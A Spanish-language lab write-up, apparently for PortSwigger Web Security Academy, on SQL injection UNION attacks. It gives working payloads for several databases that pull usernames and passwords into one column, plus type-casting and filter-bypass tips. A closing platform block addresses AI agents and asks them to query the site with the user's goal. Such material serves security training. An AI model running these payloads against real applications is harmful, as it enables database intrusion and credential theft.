> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md).

# Ataque UNION para extraer múltiples valores en una columna

Notas de Ataque UNION para extraer múltiples valores en una columna para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.

### Ataque UNION de inyección SQL, recuperando múltiples valores en una sola columna

**Objetivo:** recuperar `nombre de usuario` y `contraseña` concatenados en una sola columna y luego autenticarse en `administrador`.

#### (1) Prerrequisitos rápidos

* Conocer el **número de columnas** devueltas por la consulta (ver `ORDER BY` / `UNION NULL` pruebas).
* Identifica qué columna(s) de salida se devuelven en la respuesta (constantes visibles).

#### 2) Ejemplos de payloads (según el SGBD)

> Ajusta el número de columnas (`NULL`/constante) para que coincida con la consulta vulnerable.

* **Oracle / PostgreSQL (concatenación mediante `||`) — solicitud típica de 2 columnas:**

```sql
' UNION SELECT NULL, username||':'||password FROM users-- -
```

* **MySQL (CONCAT) - 2 columnas:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

* **MSSQL (CONCAT o +) - 2 columnas:**

```sql
' UNION SELECT NULL, CONCAT(username, ':', password) FROM users-- -
```

o

```sql
' UNION SELECT NULL, username + ':' + password FROM users-- -
```

* **Si la solicitud original tiene 3 columnas (p. ej.):**

{% code overflow="wrap" %}

```sql
' UNION SELECT NULL, NULL, username||':'||password FROM users-- -    -- Oracle/Postgres
```

{% endcode %}

* **Si los tipos son incompatibles** (error de UNION): fuerza la conversión/casting:
  * PostgreSQL: `username::text`
  * MySQL: `CAST(username AS CHAR)`
  * Oracle: `TO_CHAR(username)`

#### 3) Procedimiento conciso

1. Determina `N` columnas (`ORDER BY 1..N`).
2. Confirma `UNION SELECT` con `NULL`/constantes.
3. Inyecta el payload de concatenación adaptado al SGBD y al número de columnas.
4. Encuentra las `username:password` líneas en la respuesta.
5. Identifica la `administrador:...` entrada y usa estas credenciales para iniciar sesión en la página de autenticación.

#### 4) Notas prácticas

* Si las contraseñas están hasheadas (p. ej., bcrypt), el uso directo para iniciar sesión fallará; entonces necesitarás descifrar la contraseña si está permitido o confirmar que las contraseñas se almacenan en texto plano (incidente de seguridad grave).
* Si la aplicación solo muestra una columna, la concatenación es el enfoque correcto; si renderiza varias columnas, prefiere `UNION SELECT username, password` para mayor claridad.
* Si `UNION` está filtrado, prueba variaciones en espacios/comentarios o funciones (`CONCAT`, `CHR`/`CHAR`) para eludir los filtros.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/sql-injection/union-attack-to-extract-multiple-values-in-one-column.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
